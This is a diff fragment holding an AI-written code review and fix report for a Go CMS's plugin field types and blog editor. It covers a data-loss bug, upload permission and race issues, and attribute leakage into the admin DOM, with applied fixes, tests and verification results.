- Both parts are needed: fileblob's `IfNotExist` is stat-then-rename under a per-writer mutex, so on its own it would not close the race within one process. The reservation closes it within the process, and `IfNotExist` covers other processes on backends that enforce it atomically, such as S3.
|
||||
**Tests (run with `-race`):**
|
||||
- 16 concurrent uploads of `image.png` get distinct keys and keep their own bytes, and no reservations are left behind.
|
||||
- A test hook (`mediaBeforeWrite`) simulates another process writing the chosen keys. The upload moves to `image-2.png` and leaves the other objects untouched.
|
||||
- When the upload loses every attempt, it gives up with an opaque error.
|
||||
|
||||
### WR-04: `LooksLikeHTML` treats markdown that starts with a tag as HTML
|
||||
|
||||
**Repository:** sm-journal-plugin
|
||||
**Files modified:** `classes/blog_editor.go`, `classes/blog_editor_test.go`, `controllers/posts_editor_smoke_test.go`
|
||||
**Commit:** 5af746f
|
||||
**Status:** fixed: requires human verification (this changes a heuristic)
|
||||
**Applied fix:**
|
||||
- A value that starts with `<` is served as it is only when one of these holds:
|
||||
- `content_html` is empty or missing, or cannot be read (no translation writer).
|
||||
- `content_html` equals the value, ignoring white space at either end.
|
||||
- `content_html` equals `SanitizeHTML(value)`, ignoring white space at either end.
|
||||
- Otherwise the value is markdown that starts with a tag, and `content_html` is served.
|
||||
- `sameStoredHTML` holds the comparison.
|
||||
**Why `FormatHTML(value)` is not a match:** that render also matches markdown which starts with `<img>`, so counting it would bring the bug back.
|
||||
**Side effect:** an imported HTML post whose `content_html` differs from its `content` (for example, Winter's Markdown::parse split an HTML block) now opens with `content_html`. That is what the site renders, so an untouched save still skips and an edit writes both columns from it.
|
||||
**Tests:**
|
||||
- The HTML-verbatim cases now cover a `content_html` that is missing, empty, equal, sanitized, trimmed, or both sanitized and trimmed.
|
||||
- New fixtures cover markdown that starts with `<img>`, `<div>` and `<!-- comment -->`. Each is served as its `content_html`, with no `##` or `**` markers.
|
||||
- A read error on an HTML value is the Load error.
|
||||
- A controller smoke case covers the `<img>` hero.
|
||||
|
||||
### WR-05: Attribute preservation lets `id`, `name`, `style`, `srcset` into the live admin DOM
|
||||
|
||||
**Repository:** sm-journal-plugin
|
||||
**Files modified:** `assets/src/blogeditor/extensions.ts`, `assets/dist/blogeditor.js`, `tests/blogeditor/schema.test.ts`, `tests/blogeditor/smoke.test.ts`, `README.md`
|
||||
**Commit:** f1e6c11
|
||||
**Applied fix:**
|
||||
- `captureAttributes` and `renderCaptured` now use the conservative allowlist from the orchestrator (`KEPT_ATTRIBUTES`, `isKeptAttribute`): `class`, `title`, `alt`, `width`, `height`, `colspan`, `rowspan`, `start`, `rel`, `target` and `data-*`.
|
||||
- `href` and `src` stay modelled on the link and image nodes, which check them.
|
||||
- Every other attribute is never captured, so it is never rendered into the ProseMirror view. This covers `id`, `name`, `style`, `srcset`, `background`, `form`, `contenteditable`, `popover`, `itemprop`, `dir`, `lang` and `on*`. Such attributes drop out of a block once that block is edited.
|
||||
- A `span` is kept as a mark only when it has a kept attribute.
|
||||
- Untouched documents and untouched blocks still return their stored bytes (D-03).
|
||||
**Tests:**
|
||||
- The schema tests use view-safe attributes for the "keeps" cases.
|
||||
- New table cases drop `id`, `name`, `style`, `srcset`, `loading`, `background`, `form`/`contenteditable`/`popover`, `itemprop`/`dir`/`lang` and a cell's `style`.
|
||||
- A live-DOM test asserts that no stored `id`, `name`, `srcset`, `background` or style value reaches `.ProseMirror`, and that the untouched value is still the exact input.
|
||||
- The smoke expectation for edited blocks is updated.
|
||||
- A new test confirms that an untouched block keeps `id`, `style` and `itemprop` byte for byte after another block is edited.
|
||||
**Other changes:** the dist bundle is rebuilt and the plugin README's untouched-values paragraph is updated.
|
||||
|
||||
### WR-06: Translatable Decode can receive non-string values
|
||||
|
||||
**Repository:** summercms.go
|
||||
**Files modified:** `modules/cabana/field_type.go`, `modules/cabana/field_type_test.go`, `modules/pact/capabilities.go`, `modules/pact/README.md`, `docs/backend/field-types.md`
|
||||
**Commit:** f388d27
|
||||
**Applied fix:** before `decodeOne` handles a translatable field's default value, `decodePluginFields` now does the following:
|
||||
- A string passes through.
|
||||
- `nil` becomes `""`.
|
||||
- Any other value is a 422 on the field: "The X field must be text or an object of locale codes to text."
|
||||
**Docs:** the pact `FormFieldValue` doc comment, the pact README row and the field-types page now state the enforced contract.
|
||||
**Tests:** a probe Decode does `in.Value.(string)` and so panics on a broken contract.
|
||||
- A string and null each reach it as a string.
|
||||
- A number, a boolean and an int are refused with a 422 before Decode runs.
|
||||
|
||||
### IN-04: `crypto.randomUUID()` throws outside a secure context
|
||||
|
||||
**Repository:** sm-journal-plugin
|
||||
**Files modified:** `assets/src/blogeditor/element.ts`, `assets/dist/blogeditor.js`, `tests/blogeditor/smoke.test.ts`
|
||||
**Commit:** b997a41
|
||||
**Applied fix:** a new exported `uploadRequestId()` picks the request id in this order:
|
||||
- `crypto.randomUUID` when it exists.
|
||||
- Otherwise, a version 4 UUID built from `crypto.getRandomValues`, which works in insecure contexts.
|
||||
- Otherwise, a time-plus-counter id.
|
||||
The admin host (`PluginField.vue`) echoes any id back, so nothing else changes.
|
||||
**Tests:**
|
||||
- With `randomUUID` stubbed away, ids are unique v4 UUIDs and a full upload round trip still works.
|
||||
- With no `crypto` object, ids are unique counter ids.
|
||||
**Other changes:** the dist bundle is rebuilt.
|
||||
|
||||
## Skipped Issues
|
||||
|
||||
### WR-07: "View site" links to the admin's own origin
|
||||
|
||||
**File:** `admin/src/components/shell/AppShell.vue:25-27, 40-48`
|
||||
**Reason:** By explicit user decision, "View site" defaults to the admin origin. The `SUMMER_FRONTEND__URL` override is a tracked follow-up.
|
||||
**Original issue:** `siteURL` assumes the public site and the admin share an origin, which is wrong for the headless deployment.
|
||||
|
||||
### WR-08: The phase gate prints "Phase 16.2 gate passed" without running the data-loss regression suites
|
||||
|
||||
**File:** `scripts/check-phase16.2.sh:521-544`
|
||||
**Reason:** This is by design. The gate prints a loud NOT RUN block, and `PHASE162_REQUIRE_POSTGRES=1` enforces the Postgres stage. The Postgres run is a tracked Docker-host step.
|
||||
**Original issue:** `--all` exits 0 when Docker is unreachable, without the D-03/D-10 Postgres acceptance tests.
|
||||
|
||||
### IN-01: An embed placeholder that both policies accept may never expand
|
||||
|
||||
**File:** `../vue-journal-layer/app/utils/embeds.ts:41`
|
||||
**Reason:** Deferred. Info findings other than IN-04 are out of scope for this fix pass.
|
||||
**Original issue:** `EMBED_PLACEHOLDER` matches only `data-embed` before `data-id`.
|
||||
|
||||
### IN-02: The expanded YouTube iframe has no `sandbox`, and the exported `/g` regex carries shared `lastIndex` state
|
||||
|
||||
**File:** `../vue-journal-layer/app/utils/embeds.ts:41, 56-60`
|
||||
**Reason:** Deferred. Info findings other than IN-04 are out of scope for this fix pass.
|
||||
**Original issue:** There is no defence-in-depth `sandbox` on the iframe, and the exported global regex is stateful.
|
||||
|
||||
### IN-03: Plugin aliases can shadow list column types
|
||||
|
||||
**File:** `modules/cabana/field_type.go:104-109`
|
||||
**Reason:** Deferred. Info findings other than IN-04 are out of scope for this fix pass.
|
||||
**Original issue:** A plugin alias `date`, `datetime` or `time` is accepted, but its `ListValue` is never called.
|
||||
|
||||
### IN-05: content_html translations are skipped silently when the application is unavailable
|
||||
|
||||
**File:** `../sm-journal-plugin/controllers/posts.go:263-270`
|
||||
**Reason:** Deferred. Info findings other than IN-04 are out of scope for this fix pass.
|
||||
**Original issue:** `writeContentHTMLTranslations` returns nil without a writer, and the columns diverge.
|
||||
|
||||
### IN-06: Untouched detection cannot be byte-exact for legacy content with invalid UTF-8
|
||||
|
||||
**File:** `modules/cabana/field_type.go:641-651`
|
||||
**Reason:** Deferred. Info findings other than IN-04 are out of scope for this fix pass.
|
||||
**Original issue:** JSON transport replaces invalid UTF-8, so an untouched save rewrites such rows.
|
||||
|
||||
### IN-07: "Edit as HTML" selects the first identical block
|
||||
|
||||
**File:** `../sm-journal-plugin/assets/src/blogeditor/element.ts:524-532`
|
||||
**Reason:** Deferred. Info findings other than IN-04 are out of scope for this fix pass.
|
||||
**Original issue:** `indexOf(html)` highlights the first of two identical raw blocks.
|
||||
|
||||
### IN-08: Plugin-typed fields cannot declare `readOnly`/`hidden`/`disabled` in YAML
|
||||
|
||||
**File:** `modules/cabana/field_type.go:33-36`
|
||||
**Reason:** Deferred. Info findings other than IN-04 are out of scope for this fix pass.
|
||||
**Original issue:** `pluginFieldKeys` excludes the general keys that the SPA honours.
|
||||
|
||||
## Verification
|
||||
|
||||
All verification ran in the main checkouts. `workflow.use_worktrees` is `false`, so no worktree was created and the numbers can be reproduced from the trees as committed.
|
||||
|
||||
- **summercms.go:**
|
||||
- `go vet ./...` is clean.
|
||||
- The phase gate's framework set (`FRAMEWORK_RUN` over `./modules/pact ./modules/cabana`) passes.
|
||||
- `go test ./cmd/summer -run TestDocsTree` passes.
|
||||
- The other cabana failures are Docker-only (testcontainers). The failing subtest list is identical before and after these changes; this was checked with `git stash`.
|
||||
- **sm-journal-plugin:**
|
||||
- `go vet ./...` is clean.
|
||||
- `go test ./classes ./controllers ./controllers/api` passes. The root, `models` and `updates` packages need Docker.
|
||||
- vitest passes 232 of 232, and `tsc --noEmit` is clean.
|
||||
- `scripts/check-dist.sh` matches a fresh build.
|
||||
- **vue-journal-layer:** untouched. The gate's layer stage passes 144 of 144, and the corpus copy equals the plugin's.
|
||||
- **Full gate:** `bash scripts/check-phase16.2.sh --all` passes the go, admin (vitest 1218 of 1218), editor, layer and docs stages; docs includes check-admin-openapi, check-admin-dist and the Journal check-dist. Postgres is NOT RUN because no Docker daemon is reachable. Its suites (TestFieldTypeSavePostgres, TestPostsAdminResaveKeepsHTML, TestPostsAdminSaveSanitizesHTML, TestCategoriesAdmin*) still need a Docker-host run. That run matters most for CR-01 and WR-04, whose end-to-end untouched-save behavior those suites cover.
|
||||
|
||||
---
|
||||
|
||||
_Fixed: 2026-10-10T14:46:56Z_
|
||||
_Fixer: Claude (msd-code-fixer)_
|
||||
_Iteration: 1_
|
||||
@@ -0,0 +1,294 @@
|
||||
---
|
||||
phase: 16.2-plugin-provided-field-types-and-the-blog-editor-formwidget
|
||||
reviewed: 2026-10-10T14:29:09Z
|
||||
depth: standard
|
||||
files_reviewed: 73
|
||||
files_reviewed_list:
|
||||
- admin/src/api/schema.d.ts
|
||||
- admin/src/api/types.ts
|
||||
- admin/src/app/fieldTypes.ts
|
||||
- admin/src/app/pluginAssets.ts
|
||||
- admin/src/components/form/FieldRenderer.vue
|
||||
- admin/src/components/form/FormField.vue
|
||||
- admin/src/components/form/FormGrid.vue
|
||||
- admin/src/components/form/PreviewField.vue
|
||||
- admin/src/components/form/fields/MLField.vue
|
||||
- admin/src/components/form/fields/MLPluginField.vue
|
||||
- admin/src/components/form/fields/PluginField.vue
|
||||
- admin/src/components/form/formContext.ts
|
||||
- admin/src/components/form/formState.ts
|
||||
- admin/src/components/form/mlLocale.ts
|
||||
- admin/src/components/form/registry.ts
|
||||
- admin/src/components/relation/RelationChildModal.vue
|
||||
- admin/src/components/shell/AppShell.vue
|
||||
- admin/src/main.ts
|
||||
- admin/src/views/FormView.vue
|
||||
- admin/src/views/LoginView.vue
|
||||
- modules/cabana/admin_openapi.go
|
||||
- modules/cabana/contracts.go
|
||||
- modules/cabana/crud.go
|
||||
- modules/cabana/extension.go
|
||||
- modules/cabana/field_ml.go
|
||||
- modules/cabana/field_type.go
|
||||
- modules/cabana/field_type_upload.go
|
||||
- modules/cabana/form_schema.go
|
||||
- modules/cabana/http.go
|
||||
- modules/cabana/list_schema.go
|
||||
- modules/cabana/query.go
|
||||
- modules/cabana/registry.go
|
||||
- modules/cabana/relation.go
|
||||
- modules/cabana/relation_field.go
|
||||
- modules/cabana/relation_form.go
|
||||
- modules/cabana/schema_types.go
|
||||
- modules/cabana/settings.go
|
||||
- modules/cabana/tx_context.go
|
||||
- modules/pact/capabilities.go
|
||||
- modules/phrasebook/backend/lang/en/lang.yaml
|
||||
- modules/phrasebook/backend/lang/pl/lang.yaml
|
||||
- scripts/check-phase16.2.sh
|
||||
- ../sm-journal-plugin/admin.go
|
||||
- ../sm-journal-plugin/assets/src/blogeditor/blogeditor.css
|
||||
- ../sm-journal-plugin/assets/src/blogeditor/element.ts
|
||||
- ../sm-journal-plugin/assets/src/blogeditor/embed.ts
|
||||
- ../sm-journal-plugin/assets/src/blogeditor/extensions.ts
|
||||
- ../sm-journal-plugin/assets/src/blogeditor/index.ts
|
||||
- ../sm-journal-plugin/assets/src/blogeditor/labels.ts
|
||||
- ../sm-journal-plugin/assets/src/blogeditor/preview.ts
|
||||
- ../sm-journal-plugin/assets/src/blogeditor/serializer.ts
|
||||
- ../sm-journal-plugin/assets/src/blogeditor/toolbar.ts
|
||||
- ../sm-journal-plugin/classes/blog_editor.go
|
||||
- ../sm-journal-plugin/classes/format_html.go
|
||||
- ../sm-journal-plugin/classes/media_store.go
|
||||
- ../sm-journal-plugin/controllers/admin_registry.go
|
||||
- ../sm-journal-plugin/controllers/api/media.go
|
||||
- ../sm-journal-plugin/controllers/categories.go
|
||||
- ../sm-journal-plugin/controllers/posts.go
|
||||
- ../sm-journal-plugin/field_types.go
|
||||
- ../sm-journal-plugin/go.mod
|
||||
- ../sm-journal-plugin/lang/en/lang.yaml
|
||||
- ../sm-journal-plugin/lang/pl/lang.yaml
|
||||
- ../sm-journal-plugin/models/category/fields.yaml
|
||||
- ../sm-journal-plugin/models/post/fields.yaml
|
||||
- ../sm-journal-plugin/scripts/check-dist.sh
|
||||
- ../sm-journal-plugin/vite.config.ts
|
||||
- ../vue-journal-layer/app/assets/css/journal-base.css
|
||||
- ../vue-journal-layer/app/components/Journal/CategoryHeader.vue
|
||||
- ../vue-journal-layer/app/components/Journal/PostBody.vue
|
||||
- ../vue-journal-layer/app/utils/embeds.ts
|
||||
- ../vue-journal-layer/app/utils/htmlGate.ts
|
||||
- ../vue-journal-layer/testing/expect-acme.txt
|
||||
findings:
|
||||
critical: 1
|
||||
warning: 8
|
||||
info: 8
|
||||
total: 17
|
||||
status: issues_found
|
||||
---
|
||||
|
||||
# Phase 16.2: Code Review Report
|
||||
|
||||
**Reviewed:** 2026-10-10T14:29:09Z
|
||||
**Depth:** standard
|
||||
**Files Reviewed:** 73 (summercms.go diff 0754a6e..HEAD, sm-journal-plugin diff c60abc6..HEAD, vue-journal-layer diff 294a8d8..HEAD)
|
||||
**Status:** issues_found
|
||||
|
||||
Paths starting with `../` are relative to the summercms.go repository root; they live in the sibling sm-journal-plugin and vue-journal-layer repositories.
|
||||
|
||||
## Summary
|
||||
|
||||
The review covered the new `pact.FormFieldType` API, cabana's compile, decode, untouched-skip, load, list and upload paths, the admin SPA host (PluginField, MLPluginField, the field-type loader, notices, View site), the Journal Blog Editor types (Decode/Load/ListValue/Upload, StoreMedia, the bluemonday extension and SanitizeHTMLReport), the TipTap custom element (schema, serializer, preview, toolbar), and the layer's sanitize-html mirror and embed expansion.
|
||||
|
||||
The security core holds up:
|
||||
- Decode runs inside the save transaction for every written locale. The untouched skip compares against the value the form was served, so it cannot be used to store unsanitized bytes that are not already stored.
|
||||
- SanitizeHTMLReport returns the input unchanged only when the token comparison matches.
|
||||
- The layer expands embeds only after sanitizing, with a fixed `src` and a validated id.
|
||||
- The preview iframe uses an empty sandbox, and stored HTML is parsed only into inert documents.
|
||||
- Upload sniffing plus StoreMedia's extension list refuses SVG and HTML.
|
||||
|
||||
Problems found:
|
||||
- **Blocker (data loss):** Journal `Load` serves an empty editor for a locale whose `content` is blank but whose `content_html` holds the body. The public API's `FormatTranslation` path supports that state. Any edit in that locale silently replaces the hidden translated body.
|
||||
- **Upload route:** it skips the controller's create/update capability check and can leave orphaned public objects. The Journal storage key check is racy, so concurrent uploads can overwrite each other.
|
||||
- **Live admin DOM:** the editor's attribute preservation is a deny-list (`on*` only). `id`, `name`, `style` and `srcset` from stored HTML reach the live admin DOM, which contradicts the threat-model claim.
|
||||
- Other warnings: the markdown/HTML heuristic, the translatable Decode contract, the View site URL, and a phase gate that reports success without its data-loss regression tests.
|
||||
|
||||
## Critical Issues
|
||||
|
||||
### CR-01: Blog Editor hides a locale's existing `content_html` when its `content` is blank; editing that locale overwrites the hidden body
|
||||
|
||||
**File:** `../sm-journal-plugin/classes/blog_editor.go:204-209`
|
||||
**Issue:** `loadBlogHTML` returns the stored text as-is when it is blank:
|
||||
|
||||
```go
|
||||
if column == "" || LooksLikeHTML(text) || strings.TrimSpace(text) == "" {
|
||||
return text, nil
|
||||
}
|
||||
```
|
||||
|
||||
`FormatTranslation` (`classes/format_html.go:292-316`) supports translations that carry only `content_html` with blank or missing `content`, for example API writes of a translated body. For such a locale, cabana's `hydratePluginFields` and `servedFieldValue` serve `""`. The administrator therefore sees an empty editor although the site renders a full translated post. The untouched skip protects only a save that leaves that locale empty. As soon as the administrator types anything there, for example believing no translation exists, `decodeOne` writes the new value. `FormAfterUpdate` (`controllers/posts.go:241-280`) then stores it as that locale's `content_html`, and the existing translated body is lost with no notice. This breaks D-07's intent ("a markdown post opens with its `content_html`"). The same applies to a host row whose `content` is blank but whose `content_html` is not.
|
||||
**Fix:** When `htmlColumn` is set, serve the HTML column whenever `content` is blank, not only when it is markdown:
|
||||
|
||||
```go
|
||||
text := storedText(in.Value)
|
||||
column, _ := in.Options["htmlColumn"].(string)
|
||||
if column == "" || (LooksLikeHTML(text) && strings.TrimSpace(text) != "") {
|
||||
return text, nil
|
||||
}
|
||||
if in.Translated != nil {
|
||||
html, found, err := in.Translated(column)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if found && html != "" {
|
||||
return html, nil
|
||||
}
|
||||
}
|
||||
if strings.TrimSpace(text) == "" {
|
||||
return text, nil
|
||||
}
|
||||
html, err := FormatHTML(text)
|
||||
...
|
||||
```
|
||||
|
||||
Add a test: a pl translation with only `content_html` is served as that HTML, an untouched save keeps it, and an edit writes both columns from the edited value.
|
||||
|
||||
## Warnings
|
||||
|
||||
### WR-01: Field upload route skips the controller's create/update capability check
|
||||
|
||||
**File:** `modules/cabana/field_type_upload.go:25-36, 80-81`
|
||||
**Issue:** `fieldUpload` only runs `protect`, which checks the controller's required permissions. Unlike `create` and `update` (`http.go:831, 860`), it never calls `s.operationDeclared(w, r, cc, "create"|"update")`. Consequences:
|
||||
- With `{id}` 0, any administrator holding the controller permission can write files to the public media bucket through a controller whose YAML declares no create capability (no toolbar `create`).
|
||||
- The `id == 0` path never applies the controller's `FormExtendQuery` scope, so an administrator scoped to a subset of records can still upload.
|
||||
- With `{id} > 0`, a record the administrator may view but whose form declares no update can still receive uploads.
|
||||
|
||||
**Fix:** Mirror the save routes before reading the body:
|
||||
|
||||
```go
|
||||
op := "update"
|
||||
if id == 0 {
|
||||
op = "create"
|
||||
}
|
||||
if !s.operationDeclared(w, r, cc, op) {
|
||||
return
|
||||
}
|
||||
```
|
||||
|
||||
Add `TestFieldUpload` cases for a controller without the `create` toolbar button (403 for id 0).
|
||||
|
||||
### WR-02: Stored upload objects are orphaned when the route refuses after Upload succeeded
|
||||
|
||||
**File:** `modules/cabana/field_type_upload.go:58-78, 83-99`
|
||||
**Issue:** The type's `Upload` writes the object to the bucket first. Only then does `run` check that no second multipart part follows (`mr.NextPart()`), and that check returns 422. In the `id != 0` case, a later transaction error rolls back the DB transaction but not the blob write. The element's 60 s timeout (`element.ts:553-556`) also drops a late successful answer. Each case leaves a public, unreferenced object under `/journal/<folder>/` with no cleanup.
|
||||
**Fix:** Before calling `Upload`, check that the stream has exactly one part. For example, buffer the part up to the cap, then read `NextPart` before calling `Upload`. Alternatively, add an optional `pact.FormFieldType.Discard(ctx, url)` that cabana calls when it refuses after a successful Upload. At minimum, document that a refused upload may leave the object behind.
|
||||
|
||||
### WR-03: Media key uniqueness is check-then-write; concurrent uploads of the same name overwrite each other
|
||||
|
||||
**File:** `../sm-journal-plugin/classes/media_store.go:79-85, 122-151`
|
||||
**Issue:** `uniqueMediaKey` calls `bucket.Exists` and then `bucket.NewWriter(ctx, key, nil)` writes without a precondition. Two concurrent uploads of the same name to the same folder both see the key as free, and the second write replaces the first. One post then shows the other's image. Clipboard and drag-and-drop images commonly share names such as `image.png`, and `safeUploadName` maps every nameless file to `image.<ext>`, so collisions are likely. The plan-03 fix (T-16.2-16, "never overwrites") covers only the 999-suffix exhaustion case.
|
||||
**Fix:** Write with `&blob.WriterOptions{IfNotExist: true}` (available in gocloud.dev v0.46) and retry with the next suffix on a `gcerrors.FailedPrecondition`. Alternatively, add a short random component to editor upload names.
|
||||
|
||||
### WR-04: `LooksLikeHTML` treats markdown that starts with a tag as HTML; the first edit stores raw markdown as HTML in both columns
|
||||
|
||||
**File:** `../sm-journal-plugin/classes/blog_editor.go:112-115, 207`
|
||||
**Issue:** A markdown post whose first non-space character is `<` is served as raw markdown in the WYSIWYG editor, not as its `content_html`. Examples: a hero `<img …>`, a leading `<div>`, or `<!-- comment -->` followed by `## Heading` and `**bold**`. Any edit makes `preparePostWrite` (`controllers/posts.go:212-224`) copy that string into `content_html`. From then on the site renders literal `##` and `**` markers. This is silent corruption on first edit; it is listed as assumption A1, but no safeguard backs it.
|
||||
**Fix:** Do not decide by the first character alone. For example, treat the value as HTML only when `content_html` is empty, equals `content`, or equals `SanitizeHTML(content)`; otherwise serve `content_html`. Add a fixture with a markdown post that starts with `<img>`.
|
||||
|
||||
### WR-05: Attribute preservation lets `id`, `name`, `style`, `srcset` and other stored attributes into the live admin DOM
|
||||
|
||||
**File:** `../sm-journal-plugin/assets/src/blogeditor/extensions.ts:100-125, 133-173`
|
||||
**Issue:**
|
||||
- `captureAttributes` and `renderCaptured` drop only `on*` names. Every other attribute of a paragraph, heading, list, table, cell, image, figure or link, and every attribute of a `span`, is rendered by ProseMirror into the contenteditable view in the admin document. This happens on the form and also on the read-only preview screen, which renders the element with `disabled`.
|
||||
- Legacy imported HTML is never sanitized by an untouched save, so its attributes reach the admin DOM unchanged:
|
||||
- `<img src=… name="querySelector">` clobbers `document.querySelector` (Document named properties override built-ins) and breaks the SPA while the post is open.
|
||||
- `style="position:fixed;inset:0;z-index:99999;…"` can overlay the admin UI with attacker text (UI redress).
|
||||
- `srcset` and `background` load remote resources.
|
||||
- The policy also allows `id` globally, so any administrator can plant window-level named elements.
|
||||
- Plan 02's statement "Stored HTML never reaches the live admin DOM" is inaccurate for attributes.
|
||||
|
||||
**Fix:** Switch to an allow-list that mirrors the server policy: `class`, `style` (filtered to the four allowed properties, as in htmlGate), `dir`, `lang`, `title`, `itemscope`/`itemtype`/`itemprop`, `data-message-*`, plus element-specific attributes. Keep any other attribute only as an opaque value on the node, and serialize it in the inert document without rendering it in the view. One way is to render `htmlAttrs` in the view through `addNodeView` or a `renderHTML` that filters by a view-safe list, while the serializer path emits everything. At minimum, drop `id`, `name`, `form`, `srcset`, `contenteditable`, `popover*` and `style` from the view rendering.
|
||||
|
||||
### WR-06: Translatable Decode can receive non-string values despite the documented pact contract
|
||||
|
||||
**File:** `modules/cabana/field_type.go:476-486`, `modules/pact/capabilities.go` (FormFieldValue doc: "it is a string for a translatable type")
|
||||
**Issue:** `liftMLValues` validates only object-shaped submissions. A scalar submitted for a translatable plugin field (`null`, `3`, `true`) passes through `projectOperation` and reaches `ft.def.Decode` as `nil`/`float64`/`bool`. The published API promises a string, so a third-party type that does `in.Value.(string)` will panic, and the save fails as an unexpected 500. Journal guards against this; the framework contract does not.
|
||||
**Fix:** Enforce the contract in `decodePluginFields` before calling `decodeOne` for a translatable default value:
|
||||
|
||||
```go
|
||||
switch v := value.(type) {
|
||||
case string:
|
||||
case nil:
|
||||
value = ""
|
||||
default:
|
||||
return pluginDecodeResult{}, &ValidationError{Details: fieldDetail(field.Name, "The "+field.Name+" field must be text or an object of locale codes to text.")}
|
||||
}
|
||||
```
|
||||
|
||||
Alternatively, change the pact doc to "any JSON scalar".
|
||||
|
||||
### WR-07: "View site" links to the admin's own origin, which is wrong for the headless deployment
|
||||
|
||||
**File:** `admin/src/components/shell/AppShell.vue:25-27, 40-48`
|
||||
**Issue:** `siteURL = ${window.location.origin}/` assumes the public site and the admin share an origin. v1 is a headless backend with a separate Nuxt frontend. When the admin is served from an API or admin host, the link opens the Go binary's root (the SPA shell or a 404), not the site. WinterCMS's "View site" uses the configured application URL. The link attributes themselves are safe (`noopener noreferrer`, fixed origin).
|
||||
**Fix:** Serve the site URL from configuration, for example an `app.url` or `backend.site_url` key exposed in `/navigation` or `/me`. Hide the link when the key is unset, or fall back to the origin only when it is explicitly configured as the same host. Update the module README and config docs in the same change.
|
||||
|
||||
### WR-08: The phase gate prints "Phase 16.2 gate passed" (exit 0) without running the data-loss regression suites
|
||||
|
||||
**File:** `scripts/check-phase16.2.sh:521-544`
|
||||
**Issue:** The header calls the script fail-closed. Yet `--all` (the default mode) exits 0 and prints "Phase 16.2 gate passed" when Docker is unreachable. The Postgres stage holds `TestPostsAdminResaveKeepsHTML`, `TestPostsAdminSaveSanitizesHTML`, `TestCategoriesAdminContent`, `TestCategoriesAdminBlogEditor` and `TestFieldTypeSavePostgres`, which are this phase's D-03/D-10 acceptance tests. Plan 06 records that this host has no Docker, so the green gate was produced without them. A CI job or a later reader that trusts the exit code will treat the phase as verified.
|
||||
**Fix:** Make the default fail closed. Exit non-zero, or at least print "Phase 16.2 gate INCOMPLETE" and exit 3, when Postgres did not run, unless `PHASE162_ALLOW_NO_POSTGRES=1` is set. This inverts the current `PHASE162_REQUIRE_POSTGRES` opt-in.
|
||||
|
||||
## Info
|
||||
|
||||
### IN-01: An embed placeholder that both policies accept may never expand
|
||||
|
||||
**File:** `../vue-journal-layer/app/utils/embeds.ts:41`
|
||||
**Issue:** `EMBED_PLACEHOLDER` matches only `data-embed` before `data-id`, double-quoted, with an empty body. A placeholder written in the Source tab as `<figure data-id="…" data-embed="youtube"></figure>` passes the Go policy and the layer sanitizer. sanitize-html keeps attribute order, so it renders as an inert empty figure with no error anywhere. The editor's Embed node accepts either order (`extensions.ts:327-341`).
|
||||
**Fix:** In the layer, match either attribute order (or parse the figure's attributes after sanitizing). Alternatively, have Decode normalize the placeholder's attribute order.
|
||||
|
||||
### IN-02: The expanded YouTube iframe has no `sandbox`, and the exported `/g` regex carries shared `lastIndex` state
|
||||
|
||||
**File:** `../vue-journal-layer/app/utils/embeds.ts:41, 56-60`
|
||||
**Issue:** The iframe is fixed to youtube-nocookie with a validated id, which is fine, but it has no `sandbox` attribute as defence in depth. `EMBED_PLACEHOLDER` is an exported global regex; a consumer that calls `.test()` or `.exec()` on it gets stateful results.
|
||||
**Fix:** Add `sandbox="allow-scripts allow-same-origin allow-presentation allow-popups"`. Export a factory or a non-global pattern and build the `/g` regex inside `expandEmbeds`.
|
||||
|
||||
### IN-03: Plugin aliases can shadow list column types, and ListValue is then silently ignored
|
||||
|
||||
**File:** `modules/cabana/field_type.go:104-109`, `modules/cabana/list_schema.go:22-24, 242-251`
|
||||
**Issue:** `checkFieldTypeDef` refuses only `formFieldTypes`. A plugin alias `date`, `datetime` or `time` is accepted at boot, but a list column of that type resolves to the built-in column type and never calls the plugin's `ListValue`.
|
||||
**Fix:** Also refuse aliases in `listColumnTypes`.
|
||||
|
||||
### IN-04: `crypto.randomUUID()` throws outside a secure context
|
||||
|
||||
**File:** `../sm-journal-plugin/assets/src/blogeditor/element.ts:551`
|
||||
**Issue:** On an admin served over plain HTTP from a non-localhost host (a LAN dev box), `crypto.randomUUID` is undefined and every upload throws. The status line still says "uploading".
|
||||
**Fix:** Fall back to `crypto.getRandomValues` or a counter for the request id.
|
||||
|
||||
### IN-05: content_html translations are skipped silently when the application is unavailable
|
||||
|
||||
**File:** `../sm-journal-plugin/controllers/posts.go:263-270`
|
||||
**Issue:** `writeContentHTMLTranslations` returns nil when `c.application()` or the writer is nil, while cabana has already written the `content` translation through its own writer. The two columns then diverge with no error.
|
||||
**Fix:** Return an error, which aborts the transaction, when a non-default write exists but no writer can be resolved.
|
||||
|
||||
### IN-06: Untouched detection cannot be byte-exact for legacy content with invalid UTF-8
|
||||
|
||||
**File:** `modules/cabana/field_type.go:641-651`
|
||||
**Issue:** JSON transport replaces invalid UTF-8 with U+FFFD, so the echoed value never equals the served value under `sameJSON`. An untouched save then rewrites such a row with replacement characters, which breaks D-03 for those rows.
|
||||
**Fix:** Document the limitation, or compare after normalizing the served value with `strings.ToValidUTF8(s, "<22>")`.
|
||||
|
||||
### IN-07: "Edit as HTML" selects the first identical block
|
||||
|
||||
**File:** `../sm-journal-plugin/assets/src/blogeditor/element.ts:524-532`
|
||||
**Issue:** `textarea.value.indexOf(html)` selects the first occurrence when two raw HTML blocks are identical, so the wrong block is highlighted.
|
||||
**Fix:** Pass the node position and map it to the block's source offset through `#blocks`.
|
||||
|
||||
### IN-08: Plugin-typed fields cannot declare `readOnly`/`hidden`/`disabled` in YAML
|
||||
|
||||
**File:** `modules/cabana/field_type.go:33-36`
|
||||
**Issue:** `pluginFieldKeys` excludes general keys such as `readOnly` (and `checkFieldTypeDef` forbids options with those names), but `PluginField.vue:50` honours `field.readOnly`. A plugin field can therefore never be made read-only from fields.yaml.
|
||||
**Fix:** Allow the general keys the SPA and server already understand (`readOnly`, `hidden`, `placeholder`, `cssClass`) for plugin fields, or document the restriction in `docs/backend/field-types.md`.
|
||||
|
||||
---
|
||||
|
||||
_Reviewed: 2026-10-10T14:29:09Z_
|
||||
_Reviewer: Claude (msd-code-reviewer)_
|
||||
_Depth: standard_
|
||||
@@ -0,0 +1,86 @@
|
||||
---
|
||||
status: complete
|
||||
phase: 16.2-plugin-provided-field-types-and-the-blog-editor-formwidget
|
||||
source: [16.2-VERIFICATION.md]
|
||||
started: 2026-10-10T14:54:46Z
|
||||
updated: 2026-10-10T19:15:00Z
|
||||
---
|
||||
|
||||
## Current Test
|
